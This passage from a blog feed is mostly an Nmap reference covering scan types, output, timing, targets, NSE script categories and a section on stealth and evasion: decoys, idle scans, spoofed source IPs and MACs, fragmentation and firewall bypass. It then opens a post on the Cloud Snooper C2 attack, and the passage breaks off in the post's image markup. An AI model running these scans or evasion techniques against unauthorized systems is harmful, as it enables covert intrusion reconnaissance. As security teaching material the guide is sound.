sudo nmap -sO 192.0.2.30</code></code></pre><div><hr></div><h3><strong>Detection</strong></h3><ul><li><p><code>-sV</code> : Version detection. Sends tailored probes to open ports and analyses responses against a database of over 6,500 known service signatures to identify the exact application name, version, and additional details such as protocol or configuration.</p></li><li><p><code>-O</code> : OS detection. Analyses subtle differences in TCP/IP stack behaviour, such as sequence numbers, window sizes, and flag responses, to fingerprint the remote operating system, version, and sometimes device type.</p></li><li><p><code>-sC</code> : Run the default safe NSE script set. Executes a curated collection of non-intrusive scripts for common enumeration tasks like banner grabbing, service discovery, and basic vulnerability checks without risk of disruption.</p></li><li><p><code>--script=&lt;name|category&gt;</code> : Run a specific NSE script or category (vuln, auth, default, safe). Allows targeted automation for vulnerability scanning, authentication testing, or deep service enumeration. Use with caution on production systems to avoid unintended impact.</p></li><li><p><code>--traceroute </code>: Maps the network route from your machine to the target host, showing each hop along the path. Depends on host discovery and port scanning completing; useful for network mapping and troubleshooting.</p></li><li><p><code>-A</code> : Aggressive scan shortcut. Combines OS detection, version scanning, default safe script execution, and traceroute in a single command. Provides comprehensive reconnaissance but generates significant network traffic and is easily detected.</p></li></ul><pre><code><code># Version detection to identify service name, protocol, and version
nmap -sV 192.0.2.10

# OS detection to fingerprint remote OS and network stack
sudo nmap -O 192.0.2.10

# Run default safe NSE scripts for common enumeration and checks
nmap -sC 192.0.2.10

# Run NSE scripts in the &#8216;vuln&#8217; category (use with caution)
nmap --script=vuln 192.0.2.10

# Run a specific NSE script by name for targeted enumeration
nmap --script=http-enum 192.0.2.10

# Traceroute only, mapping the path to the target host
nmap --traceroute 192.0.2.10

# Aggressive scan combining OS detection, version detection, default scripts, and traceroute
sudo nmap -A 192.0.2.10</code></code></pre><div><hr></div><h3>Port Specification</h3><p>Choose which ports to probe on each target to control scan scope, time, and noise; port specs can be numeric, ranges, named services, or protocol-prefixed. Use targeted lists or top-port scans for speed, and full sweeps only when authorized and necessary.</p><ul><li><p><code>-p</code> : Specify ports as single ports, comma lists, numeric ranges, or service names.</p></li><li><p><code>-p-</code> : Scan all ports (1&#8211;65535). TCP is default; use -sU to scan UDP ports.</p></li><li><p><code>-F</code> : Fast scan; test the top 100 most common ports.</p></li><li><p><code>--top-ports</code> : Scan the most common N ports by frequency, e.g. <code>-top-ports 50</code>.</p></li><li><p><code>--exclude-ports</code> : Exclude specific ports from the scan when doing wide sweeps.</p></li><li><p><code>-p [proto]:[ports]</code> : Protocol-prefixed port list. For example: tcp:22,80 or udp:53,161. Use -sU for UDP probes.</p></li></ul><pre><code><code># -p : Single, list, range, or service names
nmap -p 22 192.168.1.5
nmap -p 22,80,443 scanme.nmap.org
nmap -p 1-1024 10.0.0.1
nmap -p http,https example.com

# -p- : All TCP ports
nmap -p- 203.0.113.5

# -F : Fast scan (top 100)
nmap -F 192.0.2.10

# --top-ports : Most common N ports
nmap --top-ports 50 198.51.100.10

# --exclude-ports : Exclude specific ports
nmap -p- --exclude-ports 25,465 203.0.113.5

# -p [proto]:[ports] : Protocol-specific
nmap -sU -p udp:53,161 203.0.113.10
nmap -p tcp:22,80 198.51.100.20
nmap -sU -p udp:53,161 -p tcp:22,80 203.0.113.10</code></code></pre><div><hr></div><h2>Scan Options</h2><p>Configure how probes are delivered and results are handled, including timing, retries, rate limits, stealth/evasion, verbosity, and output formats. </p><p>Use these controls to tune scan speed, reduce network impact or detectability, and determine how scan data is recorded and reported.</p><h3>Output:</h3><p>Control where and how Nmap saves scan results.</p><p>Nmap prints a human-friendly report to the terminal by default; output flags let you save that report and machine-readable variants to files so results can be archived, parsed, or piped into other tools.</p><ul><li><p><code>-oN &lt;file&gt;</code> - Save normal, human-readable output to <code>&lt;file&gt;</code>. This file mirrors the interactive terminal report but begins with the exact nmap command and a timestamp, and is intended for manual review and audit notes.</p></li><li><p><code>-oX &lt;file&gt;</code> - Save XML output to <code>&lt;file&gt;</code>. Produces structured XML suitable for reliable parsing by programs and scripts; preferred when you need to transform results into reports or import into tools.</p></li><li><p><code>-oG &lt;file&gt;</code> - Save grepable-style output to <code>&lt;file&gt;</code>. Emits compact, one-line-per-host records with simple delimiters that are easy to process with command-line text tools like grep, awk, and cut.</p></li><li><p><code>-oS &lt;file&gt;</code> - Save legacy script-style textual output to <code>&lt;file&gt;</code>. An alternate textual format retained for compatibility with older workflows that expect this layout.</p></li><li><p><code>-oA &lt;basename&gt;</code> - Create three files at once using <code>&lt;basename&gt;</code>: <code>&lt;basename&gt;.nmap</code>, <code>&lt;basename&gt;.xml</code>, and <code>&lt;basename&gt;.gnmap</code>. Convenient when you want both a human-readable copy and machine-friendly copies produced in a single run.</p></li><li><p><code>--append-output - </code>Append new scan results to existing output files instead of overwriting them; when used, all output files specified in that Nmap run are appended to rather than clobbered (note: appending XML (-oX) often produces invalid XML that must be fixed manually).</p></li><li><p>single hyphen as filename (<code>-</code>) - Any output format can take a single hyphen instead of a filename to write that format to standard output and suppress the default interactive display. Use this to pipe XML or grepable output directly into other commands.</p></li></ul><pre><code><code># Save normal, human-readable output to results.nmap
nmap -oN results.nmap 192.0.2.10

# Save XML output to results.xml for programmatic parsing
nmap -oX results.xml 192.0.2.10

# Save grepable output to results.gnmap for quick shell processing
nmap -oG results.gnmap 192.0.2.10

# Save legacy script-style output to results.scripts
nmap -oS results.scripts 192.0.2.10

# Produce normal, XML, and grepable outputs at once
# Creates: myscan.nmap  myscan.xml  myscan.gnmap
nmap -oA myscan 192.0.2.10

# Write XML to stdout instead of a file (useful for piping)
nmap -oX - 192.0.2.10

# Include a timestamp in the filename using strftime-style tokens
# Example: scan-142530-110525.xml where %T = HHMMSS and %D = MMDDYY
nmap -oX &#8220;scan-%T-%D.xml&#8221; 192.0.2.10

# Append results to existing files across runs (all specified outputs)
nmap --append-output -oN results.nmap 192.0.2.10

# Combine formats in one run (normal + XML + grepable) and append output
nmap --append-output -oN results.nmap -oX results.xml -oG results.gnmap 192.0.2.10</code></code></pre><h4><strong>Output to Database:</strong></h4><p>Nmap does not support direct database output. </p><p>Storing scan results in a database allows tracking historical data, monitoring newly opened ports, identifying vulnerable services, and querying large-scale results efficiently.</p><p>This can be done by exporting Nmap results in XML and importing them with a script in Perl or Python, converting XML to CSV for bulk loading, using the nmap-sql MySQL patch, or using tools like PBNJ, which organizes scan data in a database and highlights changes between scans.</p><div><hr></div><h3>Verbosity</h3><p>Control how much information Nmap shows while scanning. Use -v to increase output detail. Repeat up to three times (-v, -vv, -vvv) to show progressively more information about scan progress, host status, and timing.</p><ul><li><p><code>-v</code> Shows the ports Nmap finds open and a final summary after the scan. You see which services are running on the target and whether the host is up.</p></li><li><p><code>-vv</code> Shows everything from basic plus messages about what Nmap is doing at each step. For example, it tells you when it starts scanning, when each scan phase finishes, and how long certain steps take.</p></li><li><p><code>-vvv </code>Shows everything from medium plus small extra details like statistics about tasks running in the background, such as how DNS lookups were performed or timing details for each phase.</p></li></ul><pre><code><code>nmap -v 192.168.1.1        # basic progress and host information
nmap -vv 192.168.1.1       # more detailed progress and events
nmap -vvv 192.168.1.1      # maximum verbosity</code></code></pre><div><hr></div><h3>Diagnostic</h3><p>Display additional information about scan behavior and results. Use diagnostic flags to troubleshoot scans, understand why ports appear in certain states, monitor progress, or debug unexpected results.</p><ul><li><p><code>--reason</code> - Show the reason each port is in its current state. Displays which probe or response caused Nmap to mark a port as open, closed, or filtered. Essential for validating results and understanding firewall behavior.</p></li><li><p><code>--stats-every &lt;time&gt;</code> - Print scan progress statistics every <code>&lt;time&gt;</code> interval (e.g., 30s, 5m). Shows elapsed time, completion percentage, and estimated time remaining. Useful for long scans where you want periodic updates without full verbosity.</p></li><li><p><code>--packet-trace</code> - Show every packet sent and received during the scan. Displays protocol details, flags, and data for each packet. Use this for deep troubleshooting or learning how Nmap probes work. Generates massive output; best used with limited targets.</p></li><li><p><code>--open</code> - Only show open (or possibly open) ports in the output. Hides closed and filtered ports to reduce clutter when you only care about accessible services. Does not affect scanning behavior, only what is displayed.</p></li><li><p><code>-d</code> / <code>-dd</code> - Enable debug output showing Nmap&#8217;s internal operations. Similar to verbosity but focused on technical details like timing calculations, probe decisions, and data structure contents. Use <code>-d</code> for basic debug or <code>-dd</code> for more detail.</p></li></ul><pre><code><code># command format showing diagnostic options
nmap --reason [target]
nmap --stats-every &lt;time&gt; [target]
nmap --packet-trace [target]
nmap --open [target]
nmap -d|-dd [target]

# real examples
# show why each port is open/closed/filtered
nmap --reason 192.168.1.1

# print progress every 30 seconds during a long scan
nmap --stats-every 30s 192.168.1.0/24

# trace all packets for troubleshooting (use with single host)
nmap --packet-trace -p 80,443 192.168.1.1

# only display open ports in results
nmap --open 192.168.1.0/24

# enable debug output to see internal decisions
nmap -d 192.168.1.1

# enable detailed debug output
nmap -dd 192.168.1.1</code></code></pre><div><hr></div><h3>Timing templates</h3><p>Set the speed and stealth level of a scan. Nmap provides six templates from T0 (slowest, most stealthy) to T5 (fastest, most aggressive).</p><ul><li><p><strong>T0 Paranoid:</strong> 300&#8239;s between probes; sends one probe at a time; waits up to 900&#8239;s for a reply; retries slowly if no response; does not change delay, timeout, or retry behavior based on target replies</p></li><li><p><strong>T1 Sneaky:</strong> 15&#8239;s between probes; sends very few probes at once; waits up to 300&#8239;s for a reply; retries cautiously; only makes very small adjustments to delay, timeout, or retries when probes time out or responses differ from expectations</p></li><li><p><strong>T2 Polite:</strong> 400&#8239;ms between probes; limits how many probes are in flight; waits around 5&#8239;s for replies; moderate retry count; automatically increases or decreases delay, response timeout, and retry pacing when measured reply times are consistently slower or faster than the configured values</p></li><li><p><strong>T3 Normal:</strong> 50 to 200&#8239;ms between probes; sends several probes concurrently; waits around 2 to 3&#8239;s for replies; moderate retries; continuously measures reply times and adjusts delay, timeout, and retry count to match the target&#8217;s observed responsiveness</p></li><li><p><strong>T4 Aggressive:</strong> 10 to 500&#8239;ms between probes; sends many probes concurrently; waits around 1 to 1.25&#8239;s for replies; fewer retries; alters delay, timeout, or retries within narrow limits if the target is noticeably slower or faster while prioritizing scan speed</p></li><li><p><strong>T5 Insane:</strong> under 5&#8239;ms between probes; sends nearly all probes at once; uses a short fixed response timeout of 0.1 to 0.5&#8239;s; minimal retries; does not adjust delay, timeout, or retry settings based on target replies</p></li></ul><pre><code><code># General command format showing timing template
nmap -T[T0-T5] [target]

# Real examples
nmap -T0 192.168.1.1    # very slow, stealthy scan
nmap -T2 192.168.1.1    # polite scan to reduce network load
nmap -T3 192.168.1.1    # default scan speed
nmap -T4 192.168.1.1    # faster scan, standard aggressiveness
nmap -T5 192.168.1.1    # fastest scan, more likely to be detected</code></code></pre><p>Higher speeds may trigger intrusion prevention or cause network strain. Lower speeds are stealthier but take longer.</p><div><hr></div><h3>Performance</h3><p>Control scan speed, retry behavior, and resource limits. </p><p>Use performance options to balance scan thoroughness against time constraints, network load, and target responsiveness. </p><p>Adjust these when default behavior is too slow, too aggressive, or when targets have unusual timeout characteristics.</p><ul><li><p><code>--min-rate &lt;num&gt;</code> - Send at least <code>&lt;num&gt;</code> packets per second. Forces Nmap to maintain minimum scan speed regardless of target responsiveness. Use when scan time is more important than stealth or network courtesy.</p></li><li><p><code>--max-rate &lt;num&gt;</code> - Send no more than <code>&lt;num&gt;</code> packets per second. Caps maximum scan speed to avoid overwhelming targets or networks. Use to reduce network load or stay below rate-limiting thresholds.</p></li><li><p><code>--max-retries &lt;num&gt;</code> - Limit probe retransmissions to <code>&lt;num&gt;</code> attempts. Reduces time spent on unresponsive hosts or ports. Lower values speed up scans but may miss slower targets; higher values are more thorough but slower.</p></li><li><p><code>--host-timeout &lt;time&gt;</code> - Give up on hosts that take longer than <code>&lt;time&gt;</code> to scan. Prevents extremely slow hosts from delaying entire scans. Use when scanning large networks where some hosts may be rate-limited or heavily filtered.</p></li><li><p><code>--scan-delay &lt;time&gt;</code> - Wait at least <code>&lt;time&gt;</code> between probes to the same host. Useful when targets rate-limit or when you need to slow down for stealth without using full timing templates.</p></li><li><p><code>--max-scan-delay &lt;time&gt;</code> - Cap the maximum delay between probes at <code>&lt;time&gt;</code>. Prevents Nmap from slowing down too much when it detects rate limiting. Balances responsiveness against target behavior.</p></li></ul><pre><code><code># command format showing performance options
nmap --min-rate &lt;num&gt; [target]
nmap --max-rate &lt;num&gt; [target]
nmap --max-retries &lt;num&gt; [target]
nmap --host-timeout &lt;time&gt; [target]
nmap --scan-delay &lt;time&gt; [target]

# real examples
# force minimum 100 packets/second
nmap --min-rate 100 192.168.1.0/24

# limit to 10 packets/second for polite scanning
nmap --max-rate 10 192.168.1.1

# only retry each probe once
nmap --max-retries 1 192.168.1.0/24

# skip hosts that take longer than 5 minutes
nmap --host-timeout 5m 192.168.1.0/24

# wait 1 second between probes for stealthy scanning
nmap --scan-delay 1s 192.168.1.1

# don&#8217;t let delay exceed 2 seconds
nmap --max-scan-delay 2s 192.168.1.1

# combine multiple performance options
nmap --min-rate 50 --max-retries 2 --host-timeout 10m 10.0.0.0/16</code></code></pre><div><hr></div><h2>Target Specification</h2><p>Specifies which systems the scan will include or exclude by listing individual hosts, CIDR ranges, IP ranges, hostnames, or input/exclusion files. </p><p>Use this to precisely define the scope of a scan run so probes and options apply only to authorized and intended targets.</p><ul><li><p><code>-iR</code> : Scan a number of random public IPv4 addresses; use <code>0</code> for endless scanning (research only with authorization).</p></li><li><p><code>-sL</code> : List scan; resolve names and print the expanded target list without sending probes.</p></li><li><p><code>-r</code> : Do not randomize host order; scan in the order provided.</p></li><li><p><code>-6</code> : Force IPv6 mode and resolve IPv6 addresses.</p></li><li><p><code>--resume</code> : Resume a previously interrupted scan using a saved output file.</p></li></ul><pre><code><code># Generic format
nmap [target-specs] [port-specs] [other-options]

# scan a single IP
nmap 192.168.1.1

# scan a hostname that resolves to an IP
nmap scanme.nmap.org

# scan every host in a /24 network
nmap 10.0.0.0/24

# scan a range of IPs from .1 through .100
nmap 192.168.1.1-100

# probe 100 random public IPv4 addresses (research only)
nmap -iR 100

# show the expanded target list without sending packets
nmap -sL 192.168.1.0/24

# scan an IPv6 address explicitly
nmap -6 2001:db8::1

# resume a previously interrupted run from a saved output file
nmap --resume savefile.gnmap</code></code></pre><h3>Target Input From File</h3><p><code>-iL &lt;file&gt;</code> - The Nmap -iL input file is a plain-text file containing target specifications (one or more per line) that Nmap reads instead of taking hosts directly from the command line.</p><p>The file is only for target specifications (IPs, hostnames, CIDR blocks, ranges, etc.). Ports must be specified on the Nmap command line,</p><p>Each entry can be any target format Nmap supports on the command line:</p><ul><li><p>Single IP address</p></li><li><p>Hostname</p></li><li><p>CIDR notation</p></li><li><p>IPv6 address or range</p></li><li><p>Octet ranges</p></li></ul><h4><strong>Separation</strong></h4><p>Entries on the same line must be separated by one or more spaces, tabs, or newlines. A newline simply continues to the next line of input.</p><h4><strong>Comments</strong></h4><p>Any text starting with # is treated as a comment and ignored until the end of the line.</p><p>Blank lines are ignored. Invalid entries are skipped with a warning. This format works well for scanning large lists from DHCP exports, firewall rules, or custom scripts.</p><h4><strong>Example Input File (targets.txt)</strong></h4><pre><code><code># Single IP address - one specific host
192.168.1.177

# Hostname - resolvable domain name
scanme.nmap.org

# CIDR notation - block of IPs using subnet mask
192.168.1.0/24

# IPv6 address - single IPv6 host
2001:db8::1

# IPv6 CIDR range - block of IPv6 addresses
2001:db8::/64

# Octet ranges - flexible IP range across any octet
192.168.1-5.1-254</code></code></pre><h4>Running the Scan</h4><p>Run your scan with the input from your file.</p><pre><code><code># Basic command use
nmap -iL targets.txt

# Command with more flags set
nmap -sS -T5 -iL targets.txt -p 80</code></code></pre><div><hr></div><h3>Target Exclusions</h3><p>Skip specific hosts or networks so they are never probed even if they appear in the target set; use exclusions to enforce scope and avoid sensitive systems. </p><p>Exclusions accept single IPs, hostnames, CIDRs, and ranges and can be provided directly or via a file for auditability.</p><ul><li><p><code>--exclude</code> : Skip the specified comma separated list of hosts, IPs, or networks.</p></li><li><p><code>--excludefile</code> : Read exclusions from a file, one entry per line; supports CIDR, single IPs, and hostnames.</p></li></ul><pre><code><code># Generic format
nmap [targets] --exclude [host1,host2,...] --excludefile [file]

# scan a subnet but skip the router and server by IP
nmap 192.168.1.0/24 --exclude 192.168.1.1,192.168.1.10

# scan targets from file but skip hosts in exclude.txt
nmap -iL targets.txt --excludefile exclude.txt

# exclude an entire CIDR while scanning a larger CIDR
nmap 10.0.0.0/16 --exclude 10.0.1.0/24

# combine direct targets with exclusions
nmap 203.0.113.0/24 --exclude 203.0.113.5,203.0.113.10</code></code></pre><div><hr></div><h2>Stealth &amp; Evasion Techniques</h2><p>Before employing evasion techniques, first identify the presence of firewalls, IDS/IPS systems, and other security monitoring. Look for these indicators during initial reconnaissance:</p><h3><strong>Firewall Detection Signs</strong></h3><ul><li><p><code>admin prohibited filter</code> - Explicit ICMP rejections indicating active firewall rules</p></li><li><p><strong>Consistently </strong><code>filtered</code><strong> ports</strong> - Multiple ports showing no response across scans</p></li><li><p><strong>Inconsistent port states</strong> - Different results between SYN, ACK, and NULL scans</p></li><li><p><strong>ICMP rate limiting</strong> - Delayed or blocked ICMP error messages</p></li><li><p><strong>TTL variations</strong> - Inconsistent time-to-live values in responses</p></li></ul><h4><strong>Initial Detection Scans</strong></h4><pre><code><code># Basic port state analysis
nmap -sS -v --reason &lt;target&gt;

# ACK scan for stateful firewall mapping
nmap -sA -v &lt;target&gt;

# NULL/FIN/Xmas scans for rulebase analysis
nmap -sN -sF -sX -v &lt;target&gt;</code></code></pre><h3><strong>Evasion Techniques</strong></h3><p>Once security controls are identified, use these techniques to avoid detection by firewalls, IDS/IPS systems, and security monitoring. </p><p>These methods help bypass security controls or obscure scan origins by manipulating packet attributes, timing, and source information.</p><p>Use stealth options when authorized testing requires evading detection systems, but be aware that aggressive evasion may violate scope or trigger alerts.</p><h3><strong>Scan Origination &amp; Attribution</strong></h3><ul><li><p><strong>-sI &lt;zombie&gt;</strong> : Idle (zombie) scan. Uses a third-party host with predictable IP ID sequences to probe targets indirectly. The scanner&#8217;s IP never appears in target logs, making this extremely stealthy. IP ID is the Identification field in IP packets used for fragment reassembly. Requires finding a zombie host with predictable IP ID behavior - test with nmap -p 80 --script ipidseq &lt;host&gt;. Look for &#8220;Incremental&#8221; (number increases by 1 per packet, ideal) or &#8220;All zeros&#8221;. Avoid &#8220;Random&#8221; IP ID sequences.</p></li><li><p><strong>-D &lt;decoy1,decoy2,ME&gt;</strong> : Cloak scan among decoys. Makes it appear that multiple hosts are scanning the target simultaneously. Use ME to specify your real IP&#8217;s position in the decoy list, or let Nmap randomize it. Use RND to generate random decoy IPs.</p></li><li><p><strong>-S &lt;IP&gt;</strong> : Spoof source IP address. Makes packets appear to originate from a different IP. Requires raw packet privileges and won&#8217;t receive responses unless you can intercept return traffic. Primarily useful for testing firewall rules.</p></li><li><p><strong>--source-port &lt;port&gt; or -g &lt;port&gt;</strong> : Spoof source port number. Some firewalls allow traffic from specific source ports (like 53 for DNS or 20 for FTP-data). Can help bypass poorly configured firewalls.</p></li><li><p><strong>-e &lt;interface&gt;</strong> : Specify network interface to use for sending packets. Useful when you have multiple network interfaces and need to control which one is used for scanning.</p></li><li><p><strong>--spoof-mac &lt;MAC|vendor&gt;</strong> : Spoof MAC address using a specific address, vendor prefix, or random value (0). Only works on local Ethernet networks. Use to bypass MAC-based filtering or attribution.</p></li></ul><h3><strong>Packet Manipulation</strong></h3><ul><li><p><strong>-f</strong> : Fragment packets. Splits TCP headers across multiple small IP fragments to evade packet filters and IDS systems that don&#8217;t reassemble fragments. Can bypass simple filters but modern systems often detect this.</p></li><li><p><strong>--mtu &lt;value&gt;</strong> : Set custom Maximum Transmission Unit size for packet fragmentation. Must be a multiple of 8. Allows finer control than -f for evading specific MTU-based filters.</p></li><li><p><strong>--data-length &lt;num&gt;</strong> : Append random data to packets to reach a specific size. Changes packet fingerprint to evade signature-based detection systems that match specific packet sizes.</p></li><li><p><strong>--badsum</strong> : Send packets with invalid TCP/UDP checksums. Legitimate systems discard these, but some firewalls and IDS may process them incorrectly, revealing their presence or forwarding behavior.</p></li></ul><h3><strong>Timing &amp; Behavior</strong></h3><ul><li><p><strong>--randomize-hosts : </strong>Scan targets in random order rather than sequentially. Makes scan pattern less obvious and distributes load across target network.</p></li><li><p><strong>--scan-delay &amp; --max-rate</strong> : Control packet timing to avoid threshold-based detection:</p></li></ul><pre><code><code># Slow, stealthy scanning
nmap --scan-delay 5s --max-rate 10 &lt;target&gt; 

# Ultra-slow timing template
nmap -T paranoid &lt;target&gt;                    </code></code></pre><h3><strong>Practical Examples</strong></h3><pre><code><code># Idle (zombie) scan using a third-party host
# Test zombie first: nmap -p 80 --script ipidseq &lt;zombie-host&gt;
sudo nmap -sI &lt;zombie-host&gt; &lt;target&gt;

# Fragment packets to evade simple packet filters
sudo nmap -f &lt;target&gt;

# Custom MTU fragmentation (must be multiple of 8)
sudo nmap --mtu 16 &lt;target&gt;

# Cloak scan among decoy addresses
nmap -D decoy1,decoy2,ME,decoy3 &lt;target&gt;

# Generate 5 random decoy IPs, Nmap chooses your position
nmap -D RND:5 &lt;target&gt;

# Generate 10 random decoys with your IP in position 3
nmap -D RND:5,ME,RND:5 &lt;target&gt;

# Spoof source IP (won&#8217;t receive responses)
sudo nmap -S &lt;spoofed-ip&gt; -e eth0 -Pn &lt;target&gt;

# Use specific source port to bypass firewall
nmap --source-port 53 &lt;target&gt;

# Append random data to packets
nmap --data-length 50 &lt;target&gt;

# Scan in random order
nmap --randomize-hosts &lt;target&gt;

# Spoof MAC address
sudo nmap --spoof-mac 0 &lt;target&gt;

# Send invalid checksums to detect middleboxes
nmap --badsum &lt;target&gt;

# Combined stealth approach
nmap -sS -f --data-length 64 --source-port 53 --scan-delay 2s --max-rate 5 &lt;target&gt;</code></code></pre><div><hr></div><h2>Nmap Scripts</h2><p><strong>The Nmap Scripting Engine (NSE)</strong> allows users to write and run scripts for network discovery, vulnerability detection, and advanced scanning techniques. </p><p>NSE scripts are written in Lua and extend Nmap&#8217;s capabilities.</p><h3><strong>Script Categories:</strong></h3><ul><li><p><strong><a href="https://nmap.org/nsedoc/categories/auth.html">auth</a></strong> - Authentication-related scripts (credential testing, brute force)</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/broadcast.html">broadcast</a></strong> - Network-wide discovery via broadcast/multicast</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/brute.html">brute</a></strong> - Brute-force password guessing against services</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/default.html">default</a></strong> - Safe, useful scripts run with -sC (recommended for most scans)</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/discovery.html">discovery</a></strong> - Network and service discovery/enumeration</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/dos.html">dos</a></strong> - Scripts that may cause denial of service (use with extreme caution)</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/exploit.html">exploit</a></strong> - Attempts to actively exploit vulnerabilities</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/external.html">external</a></strong> - Sends data to third-party services (privacy implications)</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/fuzzer.html">fuzzer</a></strong> - Sends randomized data to test for crashes</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/intrusive.html">intrusive</a></strong> - Likely to crash services or consume significant resources</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/malware.html">malware</a></strong> - Detects malware, backdoors, or compromised systems</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/safe.html">safe</a></strong> - Unlikely to crash services or trigger alerts</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/version.html">version</a></strong> - Enhanced version detection beyond Nmap&#8217;s built-in -sV</p></li><li><p><strong><a href="https://nmap.org/nsedoc/categories/vuln.html">vuln</a></strong> - Checks for specific security vulnerabilities</p></li></ul><p>To see detailed descriptions of all Nmap scripts, <a href="https://nmap.org/nsedoc/">visit the official documentation</a>.</p><div><hr></div><h3><strong>View Script Info</strong></h3><pre><code><code># View Info for All Scripts
nmap --script-help all

# View Info for Specific Scripts
nmap --script-help &lt;script name&gt;
nmap --script-help xmpp-info</code></code></pre><h3><strong>Update Script Database</strong></h3><pre><code><code>nmap --script-updatedb</code></code></pre><h3><strong>Run Multiple Script Categories</strong></h3><pre><code><code>nmap --script &#8220;discovery,vuln,auth&#8221; target</code></code></pre><div><hr></div><h2>Official Resources</h2><p>For a deeper understanding of Nmap, the official Nmap documentation and free book are excellent sources. They cover everything from installation and basic scanning to advanced features, scripting, and real-world use cases.</p><ul><li><p><strong>Nmap Book (Free Online)</strong>: Comprehensive reference, practical examples, and detailed explanations of all Nmap options.<br><a href="https://nmap.org/book/toc.html">https://nmap.org/book/toc.html</a></p></li><li><p><strong>Official Nmap Website</strong>: Download the latest versions, view release notes, access the Nmap Scripting Engine documentation, and find community resources. </p></li></ul><p>https://nmap.org</p><p>These resources are continually updated by the Nmap project and are considered the most reliable reference for learning and using Nmap safely and effectively.</p><p><em>Happy hacking!</em></p>]]></content:encoded></item><item><title><![CDATA[Cloud Snooper Attack - Hiding Malicious Commands in Web Traffic to AWS Servers]]></title><description><![CDATA[The Cloud Snooper attack is a method for attackers to maintain hidden command-and-control (C2) access to compromised cloud servers, targeting AWS EC2 instances.]]></description><link>https://darkmarc.substack.com/p/cloud-snooper-attack-hiding-malicious</link><guid isPermaLink="false">https://darkmarc.substack.com/p/cloud-snooper-attack-hiding-malicious</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Thu, 06 Nov 2025 22:15:51 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!nQYW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>The Cloud Snooper attack</strong> is a method for attackers to maintain hidden command-and-control (C2) access to compromised cloud servers, targeting AWS EC2 instances. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!nQYW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nQYW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png 424w, https://substackcdn.com/image/fetch/$s_!nQYW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png 848w, https://substackcdn.com/image/fetch/$s_!nQYW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!nQYW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nQYW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png" width="1456" height="971" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:971,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:638099,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/178222793?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nQYW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png 424w, https://substackcdn.com/image/fetch/$s_!nQYW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png 848w, https://substackcdn.com/image/fetch/$s_!nQYW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2ca0959f-21a1-4afb-ad67-fac8f7f6b2c8_1500x1000.png 1272w, 